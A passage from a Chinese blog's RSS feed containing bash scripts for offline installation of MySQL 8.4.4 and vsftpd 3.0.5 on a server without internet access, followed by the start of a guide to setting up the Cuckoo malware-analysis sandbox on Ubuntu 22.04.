&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;chown&amp;nbsp;-R&amp;nbsp;mysql:mysql&amp;nbsp;/home/mysql/mysqllog
}

function&amp;nbsp;MYSQL_START()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/etc/init.d/mysqld&amp;nbsp;start
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sleep&amp;nbsp;5
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;&amp;quot;$?&amp;quot;&amp;nbsp;!=&amp;nbsp;&amp;quot;0&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;MySQL&amp;nbsp;Service&amp;nbsp;Running&amp;nbsp;Is&amp;nbsp;Error.&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;MySQL&amp;nbsp;Service&amp;nbsp;Running&amp;nbsp;Is&amp;nbsp;Successful.&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
}

function&amp;nbsp;CLEAR_tat()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cd&amp;nbsp;/root
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rm&amp;nbsp;-rf&amp;nbsp;mysql-8.4.4-linux-glibc2.28-x86_64.tar.xz
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;&amp;quot;$?&amp;quot;&amp;nbsp;!=&amp;nbsp;&amp;quot;0&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;MySQL&amp;nbsp;tar&amp;nbsp;clear&amp;nbsp;Successful&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;MySQL&amp;nbsp;tar&amp;nbsp;no&amp;nbsp;clear&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
}

function&amp;nbsp;main()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MySQL_cnf
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MySQL_User
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Create_DIR
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DOWNLOAD_MYSQL
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;INSTALL
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MYSQL_LOG
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MYSQL_START
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CLEAR_tat
}

main&lt;/pre&gt;&lt;p&gt;3、运行脚本：&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505211747812814524174.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;4、临时密码在运行结果中查看：&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505211747812944154779.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;5、修改密码：&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;ALTER&amp;nbsp;USER&amp;nbsp;&amp;#39;username&amp;#39;@&amp;#39;hostname&amp;#39;&amp;nbsp;IDENTIFIED&amp;nbsp;BY&amp;nbsp;&amp;#39;new_password&amp;#39;;&lt;/pre&gt;&lt;h3&gt;安装FTP服务：&lt;/h3&gt;&lt;p&gt;1、&lt;span style=&quot;font-size:14px;font-family:宋体&quot;&gt;因为无法联网所有使用另一个可以联网的机器将需要的包下载打包&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;wget&amp;nbsp;https://security.appspot.com/downloads/vsftpd-3.0.5.tar.gz
mkdir&amp;nbsp;/tmp/ftp-deps
yum&amp;nbsp;install&amp;nbsp;--downloadonly&amp;nbsp;--downloaddir=/tmp/ftp-deps&amp;nbsp;vsftpd
yum&amp;nbsp;install&amp;nbsp;--downloadonly&amp;nbsp;--downloaddir=/tmp/ftp-deps&amp;nbsp;gcc&amp;nbsp;make&amp;nbsp;openssl-devel
tar&amp;nbsp;czvf&amp;nbsp;ftp-offline-install.tar.gz&amp;nbsp;/tmp/ftp-deps&amp;nbsp;vsftpd-3.0.5.tar.gz&lt;/pre&gt;&lt;p&gt;然后将打好的包上传到内网服务器上&lt;br/&gt;&lt;/p&gt;&lt;p class=&quot;ue-upload&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;img style=&quot;vertical-align: middle; margin-right: 2px;&quot; src=&quot;https://www.yuyuxiang.top/zb_system/image/filetype/_blank.png&quot;/&gt;&lt;a style=&quot;font-size:12px; color:#0066cc;&quot; href=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505211747813722338316.gz&quot; title=&quot;ftp-offline-install.tar.gz&quot;&gt;ftp-offline-install.tar.gz&lt;/a&gt;打包好的tar包和所需的rpm包&lt;/p&gt;&lt;p class=&quot;ue-upload&quot; style=&quot;line-height: 16px;&quot;&gt;2、整合包放在/data01目录下&lt;/p&gt;&lt;p class=&quot;ue-upload&quot; style=&quot;line-height: 16px;&quot;&gt;3、运行脚本：&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;#!/bin/bash
#zuozhe:lyx


#&amp;nbsp;定义变量
DEPENDENCY_DIR=&amp;quot;/data01/ftp-deps&amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;依赖包存放目录
VSFTPD_SOURCE=&amp;quot;/data01/vsftpd-3.0.5.tar.gz&amp;quot;&amp;nbsp;#&amp;nbsp;vsftpd&amp;nbsp;源码包路径
FTP_USER=&amp;quot;ftpuser&amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;FTP&amp;nbsp;用户名
FTP_PASSWORD=&amp;quot;123456&amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;FTP&amp;nbsp;密码（建议安装后修改）


#&amp;nbsp;检查是否为&amp;nbsp;root&amp;nbsp;用户
if&amp;nbsp;[&amp;nbsp;&amp;quot;$(id&amp;nbsp;-u)&amp;quot;&amp;nbsp;-ne&amp;nbsp;0&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;错误：必须使用&amp;nbsp;root&amp;nbsp;用户运行此脚本！&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
fi

#解包分解
cd&amp;nbsp;/data01
tar&amp;nbsp;-zxvf&amp;nbsp;ftp-offline-install.tar.gz

#&amp;nbsp;步骤&amp;nbsp;1：安装依赖包
echo&amp;nbsp;&amp;quot;正在安装依赖包...&amp;quot;
if&amp;nbsp;[&amp;nbsp;-d&amp;nbsp;&amp;quot;$DEPENDENCY_DIR&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cd&amp;nbsp;&amp;quot;$DEPENDENCY_DIR&amp;quot;&amp;nbsp;||&amp;nbsp;exit
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for&amp;nbsp;rpm_pkg&amp;nbsp;in&amp;nbsp;*.rpm;&amp;nbsp;do
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;-f&amp;nbsp;&amp;quot;$rpm_pkg&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rpm&amp;nbsp;-ivh&amp;nbsp;&amp;quot;$rpm_pkg&amp;quot;&amp;nbsp;--nodeps&amp;nbsp;--force
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;done
else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;错误：依赖包目录&amp;nbsp;$DEPENDENCY_DIR&amp;nbsp;不存在！&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
fi

#&amp;nbsp;步骤&amp;nbsp;2：解压并编译&amp;nbsp;vsftpd
echo&amp;nbsp;&amp;quot;正在编译安装&amp;nbsp;vsftpd...&amp;quot;
if&amp;nbsp;[&amp;nbsp;-f&amp;nbsp;&amp;quot;$VSFTPD_SOURCE&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tar&amp;nbsp;xzvf&amp;nbsp;&amp;quot;$VSFTPD_SOURCE&amp;quot;&amp;nbsp;-C&amp;nbsp;/data01
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cd&amp;nbsp;/data01/vsftpd-3.0.5&amp;nbsp;||&amp;nbsp;exit
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;make&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;make&amp;nbsp;install
else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;错误：vsftpd&amp;nbsp;源码包&amp;nbsp;$VSFTPD_SOURCE&amp;nbsp;不存在！&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
fi

#&amp;nbsp;步骤&amp;nbsp;3：配置&amp;nbsp;vsftpd
echo&amp;nbsp;&amp;quot;正在配置&amp;nbsp;vsftpd...&amp;quot;
cat&amp;nbsp;&amp;gt;&amp;nbsp;/etc/vsftpd.conf&amp;nbsp;&amp;lt;&amp;lt;EOF
anonymous_enable=NO
local_enable=YES
write_enable=YES
local_umask=022
dirmessage_enable=YES
xferlog_enable=YES
listen=YES
EOF

#&amp;nbsp;步骤&amp;nbsp;4：创建&amp;nbsp;FTP&amp;nbsp;用户
echo&amp;nbsp;&amp;quot;正在创建&amp;nbsp;FTP&amp;nbsp;用户&amp;nbsp;$FTP_USER...&amp;quot;
useradd&amp;nbsp;-m&amp;nbsp;&amp;quot;$FTP_USER&amp;quot;
echo&amp;nbsp;&amp;quot;$FTP_USER:$FTP_PASSWORD&amp;quot;&amp;nbsp;|&amp;nbsp;chpasswd

#&amp;nbsp;步骤&amp;nbsp;5：设置&amp;nbsp;Systemd&amp;nbsp;服务
echo&amp;nbsp;&amp;quot;正在配置&amp;nbsp;Systemd&amp;nbsp;服务...&amp;quot;
cat&amp;nbsp;&amp;gt;&amp;nbsp;/etc/systemd/system/vsftpd.service&amp;nbsp;&amp;lt;&amp;lt;EOF
[Unit]
Description=VSFTPD&amp;nbsp;Server
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/sbin/vsftpd&amp;nbsp;/etc/vsftpd.conf
ExecStop=/bin/kill&amp;nbsp;-9&amp;nbsp;\$MAINPID

[Install]
WantedBy=multi-user.target
EOF

#&amp;nbsp;重新加载&amp;nbsp;Systemd&amp;nbsp;并启动服务
systemctl&amp;nbsp;daemon-reload
systemctl&amp;nbsp;enable&amp;nbsp;vsftpd
systemctl&amp;nbsp;start&amp;nbsp;vsftpd
#&amp;nbsp;&amp;nbsp;删除包
rm&amp;nbsp;-rf&amp;nbsp;ftp-deps&amp;nbsp;vsftpd-3.0.5
rm&amp;nbsp;-rf&amp;nbsp;ftp-offline-install.tar.gz&amp;nbsp;vsftpd-3.0.5.tar.gz

#&amp;nbsp;检查服务状态
if&amp;nbsp;systemctl&amp;nbsp;is-active&amp;nbsp;--quiet&amp;nbsp;vsftpd;&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;vsftpd&amp;nbsp;服务已成功启动！&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;FTP&amp;nbsp;用户:&amp;nbsp;$FTP_USER&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;FTP&amp;nbsp;密码:&amp;nbsp;$FTP_PASSWORD&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;请运行&amp;nbsp;&amp;#39;passwd&amp;nbsp;$FTP_USER&amp;#39;&amp;nbsp;修改默认密码。&amp;quot;
else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;警告：vsftpd&amp;nbsp;服务启动失败，请手动检查！&amp;quot;
fi&lt;/pre&gt;&lt;p class=&quot;ue-upload&quot; style=&quot;line-height: 16px;&quot;&gt;4、运行&lt;br/&gt;&lt;/p&gt;&lt;p class=&quot;ue-upload&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505211747814143391036.png&quot; alt=&quot;image.png&quot; width=&quot;827&quot; height=&quot;279&quot; style=&quot;width: 827px; height: 279px;&quot;/&gt;&lt;/p&gt;&lt;p class=&quot;ue-upload&quot; style=&quot;line-height: 16px;&quot;&gt;用户密码展示：&lt;/p&gt;&lt;p class=&quot;ue-upload&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505211747814197848013.png&quot; alt=&quot;image.png&quot; width=&quot;843&quot; height=&quot;231&quot; style=&quot;width: 843px; height: 231px;&quot;/&gt;&lt;/p&gt;&lt;h3 style=&quot;text-align: center;&quot;&gt;验证&lt;/h3&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505211747814531723959.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 21 May 2025 14:36:50 +0800</pubDate></item><item><title>ubuntu上安装cuckoo恶意软件检测系统</title><link>https://www.yuyuxiang.top/?id=9</link><description>&lt;p&gt;网上的一些教程写的太乱了，自己整理一下（也挺乱的O。o），使用系统（主ubuntu22.04.5&amp;nbsp; win7）不同的版本有微小差异&lt;/p&gt;&lt;p&gt;参考文章链接&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.cnblogs.com/drc01or/p/18303840#3%E9%85%8D%E7%BD%AEpython%E7%8E%AF%E5%A2%83&quot; _src=&quot;https://www.cnblogs.com/drc01or/p/18303840#3%E9%85%8D%E7%BD%AEpython%E7%8E%AF%E5%A2%83&quot;&gt;https://www.cnblogs.com/drc01or/p/18303840#3%E9%85%8D%E7%BD%AEpython%E7%8E%AF%E5%A2%83&lt;/a&gt; &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://zhuanlan.zhihu.com/p/433899132&quot; _src=&quot;https://zhuanlan.zhihu.com/p/433899132&quot;&gt;https://zhuanlan.zhihu.com/p/433899132&lt;/a&gt; &lt;/p&gt;&lt;p style=&quot;text-wrap: wrap;&quot;&gt;&lt;a href=&quot;https://zhuanlan.zhihu.com/p/373773218%EF%BC%89&quot; _src=&quot;https://zhuanlan.zhihu.com/p/373773218）&quot;&gt;https://zhuanlan.zhihu.com/p/373773218&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;text-wrap: wrap;&quot;&gt;&lt;span style=&quot;text-wrap: wrap;&quot;&gt;&lt;a href=&quot;https://cloud.tencent.com.cn/developer/article/2425683&quot; _src=&quot;https://cloud.tencent.com.cn/developer/article/2425683&quot;&gt;https://cloud.tencent.com.cn/developer/article/2425683&lt;/a&gt; &lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-wrap: wrap;&quot;&gt;&lt;span style=&quot;text-wrap: wrap;&quot;&gt;&lt;a href=&quot;https://blog.csdn.net/zwjzone/article/details/137114806&quot; _src=&quot;https://blog.csdn.net/zwjzone/article/details/137114806&quot;&gt;https://blog.csdn.net/zwjzone/article/details/137114806&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;h1&gt;配置主机ubuntu&lt;/h1&gt;&lt;p&gt;ubuntu22.04版本&lt;/p&gt;&lt;h3&gt;vm安装虚拟机，配置可视化操作界面（参考文章：&lt;a href=&quot;https://zhuanlan.zhihu.com/p/373773218）&quot; _src=&quot;https://zhuanlan.zhihu.com/p/373773218）&quot;&gt;https://zhuanlan.zhihu.com/p/373773218）&lt;/a&gt;&lt;/h3&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;-i&amp;nbsp;#进入root权限内
sudo&amp;nbsp;apt&amp;nbsp;update&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;sudo&amp;nbsp;apt&amp;nbsp;upgrade&amp;nbsp;&amp;nbsp;#更新系统包&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;font-weight: 600; color: #191B1F; font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;下载桌面一键安装管理包&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;apt&amp;nbsp;install&amp;nbsp;tasksel&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;font-weight: 600; color: #191B1F; font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;安装tasksel桌面使用命令&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;apt&amp;nbsp;install&amp;nbsp;ubuntu-desktop&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;font-weight: 600; color: #191B1F; font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;安装和配置显示管理器&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;apt&amp;nbsp;install&amp;nbsp;lightdm&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;选择&lt;span style=&quot;color: #191B1F; font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;lightdm 按enter.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-weight: 600; color: #191B1F; font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;启动显示管理器并加载 GUI&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;service&amp;nbsp;lightdm&amp;nbsp;start&lt;/pre&gt;&lt;p&gt;检查是否配置成功：3&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;cat&amp;nbsp;/etc/X11/default-display-manager&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505111746972617486578.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;reboot&lt;/p&gt;&lt;p&gt;重启&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;安装内容需要空间很大，进行扩容操作（https://cloud.tencent.com.cn/developer/article/2425683）&lt;br/&gt;&lt;/p&gt;&lt;p&gt;安装linux扩容工具&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;apt-get&amp;nbsp;install&amp;nbsp;gparted&amp;nbsp;-y&lt;/pre&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;gparted&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505111746974912250783.png&quot; alt=&quot;image.png&quot; width=&quot;840&quot; height=&quot;325&quot; style=&quot;width: 840px; height: 325px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;修改磁盘配置信息：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;lsblk

输出：
NAME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MAJ:MIN&amp;nbsp;RM&amp;nbsp;&amp;nbsp;&amp;nbsp;SIZE&amp;nbsp;RO&amp;nbsp;TYPE&amp;nbsp;MOUNTPOINTS
loop0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;7:0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4K&amp;nbsp;&amp;nbsp;1&amp;nbsp;loop&amp;nbsp;/snap/bare/5
loop1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;7:1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;63.9M&amp;nbsp;&amp;nbsp;1&amp;nbsp;loop&amp;nbsp;/snap/core20/2318
loop2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;7:2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;63.8M&amp;nbsp;&amp;nbsp;1&amp;nbsp;loop&amp;nbsp;/snap/core20/2571
loop3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;7:3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;73.9M&amp;nbsp;&amp;nbsp;1&amp;nbsp;loop&amp;nbsp;/snap/core22/1963
loop4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;7:4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;241.5M&amp;nbsp;&amp;nbsp;1&amp;nbsp;loop&amp;nbsp;/snap/firefox/6103
loop5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;7:5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;516M&amp;nbsp;&amp;nbsp;1&amp;nbsp;loop&amp;nbsp;/snap/gnome-42-2204/202
loop6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;7:6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;91.7M&amp;nbsp;&amp;nbsp;1&amp;nbsp;loop&amp;nbsp;/snap/gtk-common-themes/1535
